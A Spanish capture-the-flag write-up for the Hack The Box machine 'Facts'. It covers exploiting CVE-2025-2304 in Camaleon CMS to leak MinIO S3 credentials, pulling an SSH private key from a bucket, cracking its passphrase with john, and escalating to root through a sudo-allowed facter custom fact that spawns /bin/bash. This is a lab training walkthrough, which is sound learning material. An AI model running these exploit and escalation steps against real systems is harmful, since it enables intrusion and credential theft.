Facts WriteUp
Table of Contents
Facts es una máquina de dificultad 🟩 Easy de la plataforma Hack The Box. Combina la explotación de un CMS web con una fuga de credenciales hacia un servidor de almacenamiento MinIO compatible con la API S3, del que extraemos una clave privada SSH protegida por contraseña. La escalada de privilegios se consigue abusando de un binario permitido en sudo.
🗺️ Cadena de Ataque
Nmap → Puerto 80 (CamaleonCMS 2.9.0) + Puerto 54321 (MinIO)
│
▼
CVE-2025-2304 → Privilege Escalation + S3 Config Leak
│
▼
Credenciales MinIO → Bucket "internal"
│
▼
.ssh/id_ed25519 (clave privada cifrada)
│
▼
ssh2john + john → passphrase: dragonballz → usuario: trivia
│
▼
sudo /usr/bin/facter → custom fact (.rb) → /bin/bash como root 🏴
🔍 Reconocimiento
Escaneo de Puertos
Hacemos el reconocimiento en dos fases: descubrimiento rápido y luego detección de versiones sobre los puertos encontrados.
Añadimos facts.htb a /etc/hosts:
echo "10.129.21.92 facts.htb" | sudo tee -a /etc/hosts
Fase 1 - Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv facts.htb
Fase 2 - Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv facts.htb
Los puertos relevantes encontrados:
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 9.9p1 Ubuntu |
80 | HTTP | nginx 1.26.3 → redirige a facts.htb |
54321 | HTTP | Golang net/http → MinIO (API S3) |
💡 Nota sobre TCP/54321: Nmap identifica el servidor como
MinIOa través de los headersX-Amz-*en la respuesta. De momento lo dejamos apartado y empezamos por el puerto 80.
🌐 Puerto 80 - CamaleonCMS
Al entrar encontramos un blog donde el administrador publica datos curiosos. Hacemos fuzzing de directorios:
gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
admin (Status: 302) [--> http://facts.htb/admin/login]
robots (Status: 200)
search (Status: 200)
...
En /admin/login nos permite crear una cuenta. Al entrar al panel vemos que usa Camaleon CMS v2.9.0.
⚠️ Probamos SQLi y XSS en el campo de búsqueda y en comentarios, ninguno es explotable. El panel de admin es el vector.
CVE-2025-2304 - Privilege Escalation + S3 Config Leak
Una búsqueda rápida nos lleva al CVE-2025-2304 , una vulnerabilidad de escalada de privilegios autenticada en Camaleon CMS 2.9.0 que además filtra las credenciales del almacenamiento S3 configurado.
Usamos el PoC público :
python exploit.py -u http://facts.htb -U username -P password -e
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIA0BFEDFE75637E79F
s3 secret key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
s3 endpoint: http://localhost:54321
[+]Reverting User Role
🎯 Credenciales S3 obtenidas. El endpoint apunta al servidor MinIO que vimos en el puerto 54321, confirmando que el CMS usa MinIO como backend de almacenamiento.
🪣 Puerto 54321 - MinIO (API S3)
¿Qué es MinIO?
🧠 Concepto: S3 (Simple Storage Service) es un sistema de almacenamiento de objetos con una API que la industria ha adoptado como estándar de facto (AWS, GCP, Azure). Un bucket es el contenedor raíz donde se guardan los objetos, la estructura es plana, no hay subdirectorios reales, la ruta forma parte del nombre (clave) del objeto. MinIO es una implementación open-source, auto-hospedable, totalmente compatible con la API S3.
Configuramos un perfil en la herramienta aws CLI con las credenciales obtenidas:
aws configure --profile facts
# AWS Access Key ID: AKIA0BFEDFE75637E79F
# AWS Secret Access Key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
# Default region name: us-east-1
# Default output format: json
Enumeración de Buckets
aws --endpoint-url http://facts.htb:54321 s3 ls --profile facts
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts
El bucket randomfacts solo contiene imágenes del blog. Nos centramos en internal:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --profile facts --recursive | grep -v ".bundle"
2026-01-08 19:45:13 220 .bash_logout
2026-01-08 19:45:13 3900 .bashrc
2026-01-08 20:01:43 0 .cache/motd.legal-displayed
2026-01-08 19:47:17 20 .lesshst
2026-01-08 19:47:17 807 .profile
2026-04-05 09:40:42 82 .ssh/authorized_keys
2026-04-05 09:40:42 464 .ssh/id_ed25519
⚠️ El bucket
internalparece ser el directorio home de un usuario, contiene.bashrc,.profiley lo más interesante: una clave privada SSH.
Descarga de la Clave Privada
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_facts --profile facts
🔑 Clave Privada SSH - Identificación del Usuario y Crackeo
La clave está cifrada con contraseña. Antes de intentar crackearla, verificamos que la clave privada corresponde a la pública de authorized_keys comparando sus fingerprints:
# Fingerprint de la clave privada (fallará con passphrase pero muestra el fingerprint)
ssh user@facts.htb -i id_facts -v 2>&1 | grep "SHA256"
# debug1: Will attempt key: id_facts ED25519 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY explicit
# Fingerprint de la clave pública en authorized_keys
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys ./authorized_keys --profile facts
ssh-keygen -l -f authorized_keys
# 256 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY no comment (ED25519)
✅ Los fingerprints coinciden, la clave privada funciona para el usuario dueño de ese
authorized_keys.
Crackeando la Passphrase
Lo convertimos del formato ssh a john para que pueda crakearlo.
ssh2john id_facts > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
dragonballz (id_facts)
1g 0:00:01:41 DONE
Identificación del Usuario
Con la passphrase ya podemos extraer la clave pública, que incluye el comentario con el usuario:
chmod 600 id_facts
ssh-keygen -y -f id_facts # dragonballz
# ssh-ed25519 AAAAC3...ohxpLN trivia@facts.htb
🎯 Usuario identificado:
trivia
💉 Acceso Inicial
ssh trivia@facts.htb -i id_facts # dragonballz
🚩 User Flag
cat /home/william/user.txt
🧗 Escalada de Privilegios
Lo primero al entrar, revisamos permisos sudo:
sudo -l
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facter es una herramienta de recolección de datos del sistema escrita en Ruby, usada típicamente por Puppet. Acepta un directorio de custom facts con el flag --custom-dir, archivos .rb que define cómo calcular un dato nuevo.
Abusamos de esto ejecutando un custom fact que en realidad lanza /bin/bash:
mkdir /tmp/exploit
echo "Facter.add(:shell) do setcode do system('/bin/bash') end end" > /tmp/exploit/shell.rb
sudo /usr/bin/facter --custom-dir=/tmp/exploit
root@facts:/tmp/exploit#
✅ Shell como
rootobtenida abusando del custom fact defacter.
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap, gobuster | CamaleonCMS 2.9.0 + MinIO en :54321 |
| 2 | CVE-2025-2304 | exploit.py | Credenciales S3 de MinIO |
| 3 | Enumeración S3 | aws CLI | Clave privada SSH en bucket internal |
| 4 | Crackeo de passphrase | ssh2john, john | passphrase: dragonballz → usuario: trivia |
| 5 | Acceso inicial | ssh | Shell como trivia |
| 6 | Sudo abuse (facter) | Custom fact .rb | Shell como root 🏴 |
Un saludo, nos vemos en el próximo challenge.
